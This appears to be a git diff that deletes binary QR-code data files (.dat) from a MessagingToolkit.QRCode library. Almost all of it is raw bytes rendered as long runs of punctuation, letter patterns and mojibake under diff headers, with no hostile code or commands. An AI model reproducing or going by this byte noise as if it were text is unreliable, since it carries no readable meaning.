,++**))(~~}}||**++,,--//..--,,zz{{||}}""##$$%%77665544rrssttuuEEFFGGMM - ONNMMLLKZ[[\\]]^WVVUUTTSRSSTTUUV+,,--../ - - <<;;::99mmnnoopp55//..--]]\\[[ZZUVVWWXXY\[[ZZYYXMNNOOPPQ - - dccbbaa`EFFGGHHI(''&&%%${{zzyyxx..//0011++**))((~~&&''(())33221100vvwwxxyyNNOOPPQQKJJIIHHG^__``aab -SRRQQPPOVWWXXYYZ/5566778 88776655qqrrsstt,,++**))YYXXWWVVYZZ[[\\]XWWVVUUTQRRSSTTU`__^^]]\IJJKKLLM$##""!! wwvvuutt22334455''&&%%$$~~}}||**++,,--//..--,,zz{{||}}RRSSTTUUGFFEEDDCbccddeef - ONNMMLLKZ[[\\]]^899::;;<44332211uuvvwwxx ((''&&%%UUTTSSRR]^^__``a TSSRRQQPUVVWWXXY\[[ZZYYXMNNOOPPQ ssrrqqpp66778899##""!! {{zzyyxx..//0011++**))((~~VVWWXXYYCBBAA@@?fgghhiijKJJIIHHG^__``aab<==>>??@00//..--yyzz{{||!!""##$$$$##""!!QQPPOONNabbccdde - - POONNMMLYZZ[[\\]XWWVVUUTQRRSSTTU !!""#oonnmmll::;;<<==wwvvuutt22334455''&&%%$$~~}}wwZZ[[\\]]?>>==<<;jkkllmmnGFFEEDDCbccddeef@AABBCCD,,++**))}}~~%%&&''(( MMLKJIHGeffgghhi LKKJJIIH]^^__``a TSSRRQQPUVVWWXXY#$$%%&&'kkjjiihh>>??@@AAssrrqqpp66778899##""!! vvuuttss^^__eeff !!";::99887nooppqqrCBBAA@@?fgghhiijDEEFFGGM ((''&&%%~~}}))**++,,GFFEEDDCijjkkllmHGGFFEEDabbccdde - - POONNMMLYZZ[[\\]'(())**+ggffeeddBBCCDDEEoonnmmll::;;<<==rrqqppoogghhiijj"##$$%%&76655443rssttuuv?>>==<<;jkkllmmnMNNOOPPQ !!""##$$$##""!!||{{zzyy--..//00CBBAA@@?mnnooppqDCCBBAA@effgghhi LKKJJIIH]^^__``a+,,--../ - -ccbbaa``FFGGHHIIkkjjiihh>>??@@AAnnmmllkkkkllmmnn&''(())*3221100/vwwxxyyz !!";::99887nooppqqrQRRSSTTU$%%&&''( xxwwvvuu11223344 ?>>==<<;qrrssttu@??>>==>==>??@WWVVUUTTRRSSTTUU__^^]]\\JJKKLLMM ]]\\[[ZZww}}~~23344556'&&%%$$#~~}}||{*++,,--./..--,,+z{{||}}~]^^__eef01122334llkkjjii==>>??@@ 10//..--}~~%&&''(()43322110uvvwwxxy !<;;::998mnnooppq@AABBCCD SSRRQQPPVVWWXXYY[[ZZYYXXNNOOPPQQ - - YYXXWWVV~~6778899:#""!! {zzyyxxw.//00112+**))(('~xxwfgghhiij45566778 hhggffeeAABBCCDD - - ,,++**))~~}}|)**++,,-0//..--,yzz{{||}!""##$$%87766554qrrssttuDEEFFGGM - - OONNMMLLZZ[[\\]]WWVVUUTTRRSSTTUUUUTTSSRR}}|{zyxw:;;<<==>wvvuutts23344556'&&%%$$#wvvuuttsjkkllmmn899::;;< - - ddccbbaaEEFFGGHH((''&&%%|{{zzyyx-..//001,++**))(}~~%&&''(()43322110uvvwwxxyMNNOOPPQKKJJIIHH^^__``aa SSRRQQPPVVWWXXYYQQPPOONNwvvuutts>??@@AABsrrqqppo6778899:#""!! srrqqpponooppqqr<==>>??@``__^^]]IIJJKKLL$$##""!!xwwvvuut12233445(''&&%%$~~}}|)**++,,-0//..--,yzz{{||}QRRSSTTUGGFFEEDDbbccddee - - OONNMMLLZZ[[\\]]MMGGFFEEsrrqqppoBCCDDEEFonnmmllk:;;<<==>onnmmllkrssttuuu@AABBCCD\\[[ZZYYMMNNOOPP tssrrqqp56677889$##""!! |{{zzyyx-..//001,++**))(}~~UVVWWXXYCCBBAA@@ffgghhiiKKJJIIHH^^__``aa DDCCBBAAonnmmllkFGGHHIIJkjjiihhg>??@@AABkjjiihhguttssrrqDEEFFGGHXXWWVVUUQQRRSSTT !!""poonnmml9::;;<<= xwwvvuut12233445(''&&%%$~~}}wYZZ[[\\]??>>==<>==kjjiihhgJKKLLMMN gffeeddcBCCDDEEFgffee__^qppoonnmHIIJJKKLTTSSRRQQUUVVWWXX##$$%%&&lkkjjiih=>>??@@Atssrrqqp56677889$##""!! wvvuutts]^^__eef !!;;::9988nnooppqqCCBBAA@@ffgghhii<<;;::99gffeedcbNOOPPQQR - - cbbaa``_FGGHHIIJ^]]\\[[ZmllkkjjiLMMNNOOP - - PPOONNMMYYZZ[[\\''(())**hggffeedABBCCDDEpoonnmml9::;;<<= srrqqppofgghhiij""##$$%%77665544rrssttuu??>>==<>??@@Aonnmmllkjkkllmmn&&''(())33221100vvwwxxyy !!;;::9988nnooppqq//..--,,\\[[ZZYYVWWXXYYZ[ZZYYXXWNOOPPQQR - - VUUTTSSReddccbbaTUUVVWWXHHGGFFEEaabbccdd//556677 - `__^^]]\IJJKKLLM hggffeedABBCCDDEkjjiihhgnooppqqr**++,,--//..--,,zz{{||}}""##$$%%77665544rrssttuu++**))((XXWWVVUUZ[[\\]]^WVVUUTTSRSSTTUUVRQQPPOONa``__^^]XYYZZ[[\DDCCBBAAeeffgghh8899::;;\[[ZZYYXMNNOOPPQ - - dccbbaa`EFFGGHHIgffee__^rssttuuv..//0011++**))((~~&&''(())33221100vvwwxxyy !!''&&%%$$TTSSRRQQ^__``aab -SRRQQPPOVWWXXYYZNMMGGFFE]\\[[ZZY\]]^^__`@@??>>==iijjkkll<<==>>??XWWVVUUTQRRSSTTU`__^^]]\IJJKKLLM ^]]\\[[Zvww}}~~22334455''&&%%$$~~}}||**++,,--//..--,,zz{{||}}""##$$%%##""!! PPOONNMMbccddeef - ONNMMLLKZ[[\\]]^EDDCCBBAYXXWWVVU`aabbccd <<;;::99mmnnoopp@@AABBCC TSSRRQQPUVVWWXXY\[[ZZYYXMNNOOPPQ - - ZYYXXWWV~66778899##""!! {{zzyyxx..//0011++**))((~~&&''(())LKJIHGGFfgghhiijKJJIIHHG^__``aab -A@@??>>=UTTSSRRQdeeffggh!!""##$$88776655qqrrssttDDEEFFGG - - POONNMMLYZZ[[\\]XWWVVUUTQRRSSTTUVUUTTSSR~}}|{zyx::;;<<==wwvvuutt22334455''&&%%$$~~}}||**++,,--FEEDDCCBjkkllmmnGFFEEDDCbccddeef - =<<;;::9QPPOONNMhiijjkkl%%&&''((44332211uuvvwwxxMMNNOOPP LKKJJII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AZ|AJlr˂plJtfpvdrtA~f`r˂pv`fJ`ے~f`˂pZlJtA˂rXQdrtAJ~f`lJtA~HfJlt~f`lJtvnXrXQtAJlpZHAXnvˍtbAdZ`vXnZHAbtArdZp˂tbZHAbArd|nXv`JltvXnZHAbە~HXbHAZpvXnHAbےrdfJ`ےltbvXnrd|pvnbdQZ|vXnAd|v`fJ`ےtbnb˂ppfH~|drvpfے`JXQ|ZdQbrXQJ`nvp`JXQZdQbtfHfpbdQZ|vpfH`JXQv`f󂀉bHvpfH`JXQr~HfbHAZpdQZ|vpfHZdQbtXv`fdrtAvpfHZdQbt~HfpbHAZp˅vpfHZHAbf۝`vQtJlH~fr˂ptlJےbHAfHf`r˂plJtvndrtA~f`r˂p~HfpAZd~f`˂pZpvn˂rXQdrtAJ~fZlJtA~HXJbdQ~f`lJtAvnXrXQf`ے`JXXnvˍtbAdZ`vXnZHAbtArdZp˂vXnZHAbArd|rXQJ`JltvXnZHAے`vnXrtAJbvXnHAbےXv`fJ`ےltbHAbےrd|v`fZ|dvXnrd|v`fJ`ےvXnQr˂ppfH~|drvpfے`JXQ|ZdQbbHAZvpfH`JXQZdQbtHAZpbdQZ|vpfHJXQrv`fdQZ|vpfH`JXQr~HfbHAZpdQZ|`JXQrZdQbt~HfprtAJlvpfHZdQbt~HfpbHAZpvpfHZHAbf۝`vQtJlH~fr˂ptlJp˂r~f`r˂plJt˂rXdrtA~f`btl~HXv`drtAJ~f`˂pZpvn˂rXQdrtAJ˂pZlJtAvnXtbdQ~f`lJtAvnXrXQ~f`˂pXnvˍtbAdZ|yz{|}~~}|{z-----------............................... \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_3.dat deleted file mode 100644 index f1fc129..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_3.dat +++ /dev/null @@ -1,257 +0,0 @@ -~}~}~}~}|{|{|{|{zyzyzyzyuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLK~}~}~}~}|{|{|{|{zyzyzyzyuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab_`_`_`_`^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLK~}~}~}~}|{|{|{|{zyzyxwxwuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghedcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLK~}~}~}~}|{|{|{|{xwxwwwwwuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghcdcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLK~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghcdcdcdcdabababab______`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKGHGHGHGH~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijgfefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKGHGHGHGH~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKGHGHGHGH~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefcdcdcdcdabababab`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKJIGHGHGHGG~}~}~}~}|{|{|{|{wxwxwxwwuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklihghghghefefefefcdcdcdcdabababab`_`_____\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGGGGHGHG~}~}~}~}|{|{|{|{wwwwxwxwuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefcdcdcdcdabababab`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHG~}~}~}~}|{|{|{|{xwxwxwxwuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHG~}~}~}~}|{|{|{|{xwxwxwxwuvuvuvuvststststqrqrqrqropopopopmnmnmnmnkjijijijghghghghefefefefcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHG~}~}~}~}|{|{|{|{xwxwxwxwuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHG~}~}~}~}|{|{|{zyxwxwxwxwuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGGGGGGH~}~}~}~}zyzyzyzyxwwwwwwxuvuvuvuvststststqrqrqrqropopopopmlklklklijijijijghghghghefefefefcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGHGHGH~}~}~}~}zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghefefefefcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGHGHGH~}~}~}~}zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghefefefefcdcdcdcdababa`_`^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGHGHGH~}~}~}~}zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqronmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd_`_`____^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGHGHGH~}~}~}~}zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd__`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIGHGHGGGG~}~}~}~}zyzyzyzywxwxwwwwuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIGGHGHGHG~}~}~}~}zyzyzyzywwxwxwxwuvuvuvuvststststqpopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHG~}~}~}~}zyzyzyzyxwxwxwxwuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG~}~}~}~}zyzyzyzyxwxwxwxwuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG~}~}~}~}zyzyzyzyxwxwxwxwuvuvuvuvsrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd_____`_`^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG~}~}~}~}zyzyzyzyxwxwxwxwuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGGGGGHGH|{|{|{|{zyzyzyzywwwwwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcd_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGH|{|{|{|{zyzyzyzywxwxwxwxutstststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcb_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGH|{|{|{|{zyzyzyzywxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGH|{|{|{|{zyzyzyzywxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab_`______^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGGGGGH|{|{|{|{zyzyzyzywxwxwxwuststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGF~}~}~}~}|{|{|{|{zyzyzyzyuuuuuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIEFEFEFEF~}~}~}~}|{|{|{|{zyzyzyzyuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIEFEFEFEF~}~}~}~}|{|{|{|{zyzyzyzyuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIHGHGEFEFEFEF~}~}~}~}|{|{|{|{zyzyzyzyuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab`_`_`___^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGGGGGEFEFEFEF~}~}~}~}|{|{|{|{zyzyzyzyuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefabababab___`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565612121212/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565612121212/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565412121212/0/0/0/0.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878783434343412121212/0/0/0/0.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878783434343412121212/0/0/0//.-.-.-.-,+,+,+*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878763434343412121212////0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434121212120/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434121212120/0/0/0/.-.-.-,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:985656565634343434121212120/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<787878785656565634343434121212120/////0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<787878785656565634343434121212120/0/0/.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;:78787878565656563434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:78787878565656563434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:78787878565656563434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=<9:9:9:9:78787878565656563434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!      - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787878565656563434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787878565656563434343412121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB?@?@?@?>;<;<;<;<9:9:9:9:7878787856565656343434341210/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:787878785656565634343434/0//////.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -EFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - -EFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656343434340/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -EFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656343434340/0/0///.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -EFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565634343434///0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!      - - - -EFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565634343434/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -EFEFEFEDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565634343434/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -CDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565634343212/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#"!         - - - -CDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565612121212/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -CDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565612121212//////0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -CDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%$#"!"!"!"!         - - - -CDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -CDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -CDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!         - - - -CDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656121212120/0/////.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -~~}} NNMMGGFFrrssttuu]\\[[ZZY01122334EDDCCBBAHIIJJKKL-,,++**)`aabbccdxyyzz{{|*++,,--.-,,++**)eeffgghh }}~~ - - llkkjjii!!""##$$TTSSRRQQ99::;;<<((''&&%%||{{zzyy!!""##$$EEDDCCBBvvww}}~~ YXXWWVVU45566778A@@??>>=LMMNNOOP)((''&&%deeffggh |}}~~.//55667)((''&&%iijjkkll - - ~~}} hhggffee%%&&''((PPOONNMM==>>??@@$$##""!!xxwwvvuu%%&&''((AA@@??>> !!""##$UTTSSRRQ899::;;<=<<;;::9PQQRRSST%$$##""!hiijjkkl - - ~~}78899::;%$$##""!mmnnoopp||{{zzyyddccbbaa))**++,,LLKKJJIIAABBCCDD ttssrrqq))**++,,==<<;;::~~}}|{zy$%%&&''(QPPOONNM<==>>??@98877665TUUVVWWX! lmmnnoop }wwvvuut;<<==>>?! qqrrssttxxwwvvuu``__^^]]--..//00HHGGFFEEEEFFGGHHppoonnmm--..//0099887766xwwvvuut())**++,MLLKKJJI@AABBCCD54433221XYYZZ[[\pqqrrssttssrrqqp?@@AABBCuuvvwwxxttssrrqq\\[[ZZYY11223344DDCCBBAAIIJJKKLLtssrrqqpllkkjjii1122334455//..--tssrrqqp,--..//0IHHGGFFEDEEFFGGH100//..-\]]^^__`tuuvvwwxpoonnmmlCDDEEFFGyyzz{{||ppoonnmm XXWWVVUU55667788@@??>>==MMNNOOPP poonnmmlhhggffee55667788,,++**))poonnmml01122334EDDCCBBAHIIJJKKL-,,++**)`aabbccdxyyzz{{|lkkjjiihGMMNNOOP}}~~ - - llkkjjii!!""##$$TTSSRRQQ99::;;<<<<;;::99QQRRSSTT - - lkkjjiihddccbbaa99::;;<<((''&&%%lkkjjiih45566778A@@??>>=LMMNNOOP)((''&&%deeffggh |}}~~ - - hggffee_PQQRRSST ~~}} 